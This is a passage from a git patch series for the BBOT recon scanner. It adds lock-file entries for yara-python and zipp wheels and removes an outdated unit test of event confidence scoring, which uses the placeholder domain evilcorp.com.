= "2025-05-27T12:41:58.149Z" }, + { url = "https://files.pythonhosted.org/packages/da/f9/54bb72a4c8d79c22b211bb30065281de785ee638fa3e5856b6c7a8fd60e5/yara_python-4.5.2-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:9fc5abddf8767ca923a5a88b38b8057d4fab039323d5c6b2b5be6cba5e6e7350", size = 2239744, upload-time = "2025-05-02T11:16:31.793Z" }, + { url = "https://files.pythonhosted.org/packages/8d/13/18e66baf4d6220692d4e8957796386524dc32053ccd8118dfb93c241afb2/yara_python-4.5.2-cp310-cp310-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:bc2216bc73d4918012a4b270a93f9042445c7246b4a668a1bea220fbf64c7990", size = 2322426, upload-time = "2025-05-02T11:16:33.158Z" }, + { url = "https://files.pythonhosted.org/packages/2c/c6/571f8d5dcd682038238a50f0101572cbecee50e20e51bf0de2f75bf00723/yara_python-4.5.2-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:b5558325eb7366f610a06e8c7c4845062d6880ee88f1fbc35e92fae333c3333c", size = 2326899, upload-time = "2025-05-02T11:16:34.587Z" }, + { url = "https://files.pythonhosted.org/packages/c0/f7/f12b796841995131515abef4ae2b6e9a6ac2dc9f397d3e18d77a9a607b5f/yara_python-4.5.2-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:f2a293e30484abb6c137d9603fe899dfe112c327bf7a75e46f24737dd43a5e44", size = 2945990, upload-time = "2025-05-02T11:16:36.155Z" }, + { url = "https://files.pythonhosted.org/packages/24/fa/82fc55fdfc4c2e8fe94495063d33eafccacc7b3afd3122817197a52c3523/yara_python-4.5.2-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:2ff1e140529e7ade375b3c4c2623d155c93438bd56c8e9bebce30b1d0831350d", size = 2416586, upload-time = "2025-05-02T11:16:37.666Z" }, + { url = "https://files.pythonhosted.org/packages/e3/23/6b9f097bcfb6e47da068240034422a543b6c55ef32f3500c344ddbe0f1da/yara_python-4.5.2-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:399f484847d5cb978f3dd522d3c0f20cbf36fe760d90be7aaeb5cf0e82947742", size = 2636130, upload-time = "2025-05-02T11:16:40.042Z" }, + { url = "https://files.pythonhosted.org/packages/5b/d6/01d7ff8281e10b8fced269bf022d471d70cc7213b055f48dbae329246c52/yara_python-4.5.2-cp310-cp310-win32.whl", hash = "sha256:ef499e273d12b0119fc59b396a85f00d402b103c95b5a4075273cff99f4692df", size = 1447051, upload-time = "2025-05-02T11:16:41.519Z" }, + { url = "https://files.pythonhosted.org/packages/ad/0d/5a8b3960af506f62391568b27a4d809d0f85366d3f9edd02952e75757868/yara_python-4.5.2-cp310-cp310-win_amd64.whl", hash = "sha256:dd54d92c8fe33cc7cd7b8b29ac8ac5fdb6ca498c5a697af479ff31a58258f023", size = 1825447, upload-time = "2025-05-02T11:16:43.077Z" }, + { url = "https://files.pythonhosted.org/packages/a7/e0/a52e0e07bf9ec1c02a3f2136111a8e13178a41a6e10f471bcafea5e0cdb5/yara_python-4.5.2-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:727d3e590f41a89bbc6c1341840a398dee57bc816b9a17f69aed717f79abd5af", size = 402007, upload-time = "2025-05-02T11:16:44.457Z" }, + { url = "https://files.pythonhosted.org/packages/12/92/e76cab3da5096a839187a8e42f94cb960be179d6fba2af787b1fd8c7f7aa/yara_python-4.5.2-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:b5657c268275a025b7b2f2f57ea2be0b7972a104cce901c0ac3713787eea886e", size = 208581, upload-time = "2025-05-02T11:16:45.806Z" }, + { url = "https://files.pythonhosted.org/packages/8f/cf/73759180b5d3ccb0ba18712a4bce7e3aee88935ccf76d8fc954dff89947a/yara_python-4.5.2-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d4bcfa3d4bda3c0822871a35dd95acf6a0fe1ab2d7869b5ae25b0a722688053a", size = 2241764, upload-time = "2025-05-02T11:16:47.061Z" }, + { url = "https://files.pythonhosted.org/packages/dd/64/275394c7ed93505926bb6f17e85abdf36efc2f1dc5c091c8f674adb1ec02/yara_python-4.5.2-cp311-cp311-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:0d6d7e04d1f5f64ccc7d60ff76ffa5a24d929aa32809f20c2164799b63f46822", size = 2323680, upload-time = "2025-05-02T11:16:48.504Z" }, + { url = "https://files.pythonhosted.org/packages/6a/84/1753c2c0e5077e4e474928617a245576b61892027afa851f1972905e842a/yara_python-4.5.2-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:d487dcce1e9cf331a707e16a12c841f99071dcd3e17646fff07d8b3da6d9a05c", size = 2328530, upload-time = "2025-05-02T11:16:49.938Z" }, + { url = "https://files.pythonhosted.org/packages/93/c3/9c035b9bad05156ad79399e96527ee09fb44734504077919459e83c39401/yara_python-4.5.2-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:f8ca11d6877d453f69987b18963398744695841b4e2e56c2f1763002d5d22dbd", size = 2947508, upload-time = "2025-05-02T11:16:51.731Z" }, + { url = "https://files.pythonhosted.org/packages/05/8b/d0e06cdc5767f64516864fb9d9a49a3956801cb1c76f757243dad7cb3891/yara_python-4.5.2-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:f1f009d99e05f5be7c3d4e349c949226bfe32e0a9c3c75ff5476e94385824c26", size = 2418145, upload-time = "2025-05-02T11:16:53.248Z" }, + { url = "https://files.pythonhosted.org/packages/bb/b6/8505c7486935b277622703ae7f3fb1ee83635d749facf0fed99aeb2078e3/yara_python-4.5.2-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:96ead034a1aef94671ea92a82f1c2db6defa224cf21eb5139cff7e7345e55153", size = 2637499, upload-time = "2025-05-02T11:16:55.106Z" }, + { url = "https://files.pythonhosted.org/packages/a1/3b/7bdf6a37b4df79f9c51599d5f02f96e8372bd0ddc53a3f2852016fda990f/yara_python-4.5.2-cp311-cp311-win32.whl", hash = "sha256:7b19ac28b3b55134ea12f1ee8500d7f695e735e9bead46b822abec96f9587f06", size = 1447050, upload-time = "2025-05-02T11:16:56.868Z" }, + { url = "https://files.pythonhosted.org/packages/78/1f/99fdeafb66702a3efe9072b7c8a8d4403938384eac7b4f46fc6e077ec484/yara_python-4.5.2-cp311-cp311-win_amd64.whl", hash = "sha256:a699917ea1f3f47aecacd8a10b8ee82137205b69f9f29822f839a0ffda2c41a1", size = 1825468, upload-time = "2025-05-02T11:16:58.219Z" }, + { url = "https://files.pythonhosted.org/packages/1b/1c/c91a0af659d7334e6899db3e9fc10deb0dae56232ac036bddc2f6ce14a7b/yara_python-4.5.2-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:037be5f9d5dd9f067bbbeeac5d311815611ba8298272a14b03d7ad0f42b36f5a", size = 403092, upload-time = "2025-05-02T11:16:59.62Z" }, + { url = "https://files.pythonhosted.org/packages/6c/87/146e9582e8f5b069d888ec410c02c4b3501ec024f2985b4903177d18dda1/yara_python-4.5.2-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:77c8192f56e2bbf42b0c16cd1c368ba7083047e5b11467c8b3d6330d268e1f86", size = 209528, upload-time = "2025-05-02T11:17:00.913Z" }, + { url = "https://files.pythonhosted.org/packages/0e/51/a41f6b62c4b7990dbc94582200bbd7fe52ee8e0aa2634c3733705811c93d/yara_python-4.5.2-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:0e892b2111122552f0645bc1a55f2525117470eea3b791d452de12ae0c1ec37b", size = 2244678, upload-time = "2025-05-02T11:17:02.332Z" }, + { url = "https://files.pythonhosted.org/packages/82/79/c3f96ff13349b0efd25b70f4ae423d37503116badf2af27df4e645f1f107/yara_python-4.5.2-cp312-cp312-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:f16d9b23f107fd0569c676ec9340b24dd5a2a2a239a163dcdeaed6032933fb94", size = 2326396, upload-time = "2025-05-02T11:17:03.824Z" }, + { url = "https://files.pythonhosted.org/packages/89/76/b55016776948b01fc3c989dd0257ee675ca1ce86011f502db7aa84cb9cd4/yara_python-4.5.2-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:8b98e0a77dc0f90bc53cf77cca1dc1a4e6836c7c5a283198c84d5dbb0701e722", size = 2331464, upload-time = "2025-05-02T11:17:05.674Z" }, + { url = "https://files.pythonhosted.org/packages/90/1d/4b9470380838b96681ed6b6254e7d236042b7871c0b662c4b8e9469eacf0/yara_python-4.5.2-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:d6366d197079848d4c2534f07bc47f8a3c53d42855e6a492ed2191775e8cd294", size = 2949283, upload-time = "2025-05-02T11:17:07.191Z" }, + { url = "https://files.pythonhosted.org/packages/9d/9e/65de40d1cd60386675d03a2a0c7679274e2be0fb76eaa878622a21497db8/yara_python-4.5.2-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:a2ba9fddafe573614fc8e77973f07e74a359bd1f3a6152f93b814a6f8cfc0004", size = 2420959, upload-time = "2025-05-02T11:17:08.691Z" }, + { url = "https://files.pythonhosted.org/packages/6b/43/742d44b76c2483aebdf5b8c0495556416de7762c9becec18869f8830df01/yara_python-4.5.2-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:3338f492e9bb655381dbf7e526201c1331d8c1e3760f1b06f382d901cc10cdf0", size = 2639613, upload-time = "2025-05-02T11:17:10.301Z" }, + { url = "https://files.pythonhosted.org/packages/ef/56/e7713f9e7afd51d3112b5c4c6a3d3a4f84ed7baf807967043a9ac7773f1b/yara_python-4.5.2-cp312-cp312-win32.whl", hash = "sha256:9d066da7f963f4a68a2681cbe1d7c41cb1ef2c5668de3a756731b1a7669a3120", size = 1447526, upload-time = "2025-05-02T11:17:12.002Z" }, + { url = "https://files.pythonhosted.org/packages/c1/90/65e96967cbfc65fd5d117580cb7601bc79d0c95f9dbd8b0ffbf25cdd0114/yara_python-4.5.2-cp312-cp312-win_amd64.whl", hash = "sha256:fe5b4c9c5cb48526e8f9c67fc1fdafb9dbd9078a27d89af30de06424c8c67588", size = 1825673, upload-time = "2025-05-02T11:17:13.934Z" }, + { url = "https://files.pythonhosted.org/packages/0f/36/c55ff5d0abe89faffddff23c266b0247b93016eb97830bf079c873f9721c/yara_python-4.5.2-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:ffc3101354188d23d00b831b0d070e2d1482a60d4e9964452004276f7c1edee8", size = 403087, upload-time = "2025-05-02T11:17:15.706Z" }, + { url = "https://files.pythonhosted.org/packages/4c/de/2d28216b23beca46d9eb3784c198cbf48068437b2220359f372d56a32dc0/yara_python-4.5.2-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:0c7021e6c4e34b2b11ad82de330728134831654ca1f5c24dcf093fedc0db07ae", size = 209503, upload-time = "2025-05-02T11:17:17.42Z" }, + { url = "https://files.pythonhosted.org/packages/c5/ae/6a170b8eabffb3086b08f20ad9abfe7eb060c2ca06f6cf8b860155413575/yara_python-4.5.2-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:c73009bd6e73b04ffcbc8d47dddd4df87623207cb772492c516e16605ced5dd6", size = 2244791, upload-time = "2025-05-02T11:17:18.762Z" }, + { url = "https://files.pythonhosted.org/packages/4a/b9/1b361bec1b7d1f216303ca8dbf85f417cf20dba0543272bb7897e7853ce7/yara_python-4.5.2-cp313-cp313-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:ef7f592db5e2330efd01b40760c3e2be5de497ff22bd6d12e63e9cf6f37b4213", size = 2326306, upload-time = "2025-05-02T11:17:20.241Z" }, + { url = "https://files.pythonhosted.org/packages/9e/b7/ca274eee26237ae60da2bca66288737d7b503aa67032b756059cdb69d254/yara_python-4.5.2-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e5980d96ac2742e997e55ba20d2746d3a42298bbb5e7d327562a01bac70c9268", size = 2331285, upload-time = "2025-05-02T11:17:21.684Z" }, + { url = "https://files.pythonhosted.org/packages/40/8b/32acec8da17f91377331d55d01c90f6cd3971584209ae29647a6ce29721d/yara_python-4.5.2-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:e857bc94ef54d5db89e0a58652df609753d5b95f837dde101e1058dd755896b5", size = 2949045, upload-time = "2025-05-02T11:17:23.206Z" }, + { url = "https://files.pythonhosted.org/packages/76/42/4d1f67f09b10e0aa087214522fb1ea7fe68b54bb1d09111687d3683956f6/yara_python-4.5.2-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:98b4732a9f5b184ade78b4675501fbdc4975302dc78aa3e917c60ca4553980d5", size = 2420755, upload-time = "2025-05-02T11:17:25.178Z" }, + { url = "https://files.pythonhosted.org/packages/76/c1/ea7a67235e9c43a27c89454c38555338683015a3cc9fe20f44a2163f2361/yara_python-4.5.2-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:57928557c85af27d27cca21de66d2070bf1860de365fb18fc591ddfb1778b959", size = 2639331, upload-time = "2025-05-02T11:17:26.697Z" }, + { url = "https://files.pythonhosted.org/packages/42/82/64ef5a30f39554f7b58e8a42db31dd284766d50504fb23d19475becc83f8/yara_python-4.5.2-cp313-cp313-win32.whl", hash = "sha256:d7b58296ed2d262468d58f213b19df3738e48d46b8577485aecca0edf703169f", size = 1447528, upload-time = "2025-05-02T11:17:28.166Z" }, + { url = "https://files.pythonhosted.org/packages/90/fb/93452ff294669f935d457ec5376a599dd93da0ac7a9a590e58c1e537df13/yara_python-4.5.2-cp313-cp313-win_amd64.whl", hash = "sha256:2f6ccde3f30d0c3cda9a86e91f2a74073c9aeb127856d9a62ed5c4bb22ccd75f", size = 1825770, upload-time = "2025-05-02T11:17:29.584Z" }, +] + +[[package]] +name = "zipp" +version = "3.23.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/e3/02/0f2892c661036d50ede074e376733dca2ae7c6eb617489437771209d4180/zipp-3.23.0.tar.gz", hash = "sha256:a07157588a12518c9d4034df3fbbee09c814741a33ff63c05fa29d26a2404166", size = 25547, upload-time = "2025-06-08T17:06:39.4Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/2e/54/647ade08bf0db230bfea292f893923872fd20be6ac6f53b2b936ba839d75/zipp-3.23.0-py3-none-any.whl", hash = "sha256:071652d6115ed432f5ce1d34c336c0adfd6a884660d1e9712a256d3d3bd4b14e", size = 10276, upload-time = "2025-06-08T17:06:38.034Z" }, +] From 55850c5c163a560bec026446e640e059dc408a2e Mon Sep 17 00:00:00 2001 From: liquidsec <paul.mueller08@gmail.com> Date: Sat, 28 Feb 2026 15:29:31 -0500 Subject: [PATCH 129/129] Remove stale test_event_confidence (numeric confidence was removed in 3.0) --- bbot/test/test_step_1/test_events.py | 37 ---------------------------- 1 file changed, 37 deletions(-) diff --git a/bbot/test/test_step_1/test_events.py b/bbot/test/test_step_1/test_events.py index 6e511ae933..71fba0b968 100644 --- a/bbot/test/test_step_1/test_events.py +++ b/bbot/test/test_step_1/test_events.py @@ -975,43 +975,6 @@ async def test_event_web_spider_distance(bbot_scanner): assert "spider-max" not in url_event_5.tags -@pytest.mark.asyncio -async def test_event_confidence(): - scan = Scanner() - await scan._prep() - # default 100 - event1 = scan.make_event("evilcorp.com", "DNS_NAME", dummy=True) - assert event1.confidence == 100 - assert event1.cumulative_confidence == 100 - # custom confidence - event2 = scan.make_event("evilcorp.com", "DNS_NAME", confidence=90, dummy=True) - assert event2.confidence == 90 - assert event2.cumulative_confidence == 90 - # max 100 - event3 = scan.make_event("evilcorp.com", "DNS_NAME", confidence=999, dummy=True) - assert event3.confidence == 100 - assert event3.cumulative_confidence == 100 - # min 1 - event4 = scan.make_event("evilcorp.com", "DNS_NAME", confidence=0, dummy=True) - assert event4.confidence == 1 - assert event4.cumulative_confidence == 1 - # first event in chain - event5 = scan.make_event("evilcorp.com", "DNS_NAME", confidence=90, parent=scan.root_event) - assert event5.confidence == 90 - assert event5.cumulative_confidence == 90 - # compounding confidence - event6 = scan.make_event("evilcorp.com", "DNS_NAME", confidence=50, parent=event5) - assert event6.confidence == 50 - assert event6.cumulative_confidence == 45 - event7 = scan.make_event("evilcorp.com", "DNS_NAME", confidence=50, parent=event6) - assert event7.confidence == 50 - assert event7.cumulative_confidence == 22 - # 100 confidence resets - event8 = scan.make_event("evilcorp.com", "DNS_NAME", confidence=100, parent=event7) - assert event8.confidence == 100 - assert event8.cumulative_confidence == 100 - - @pytest.mark.asyncio async def test_event_closest_host(): scan = Scanner()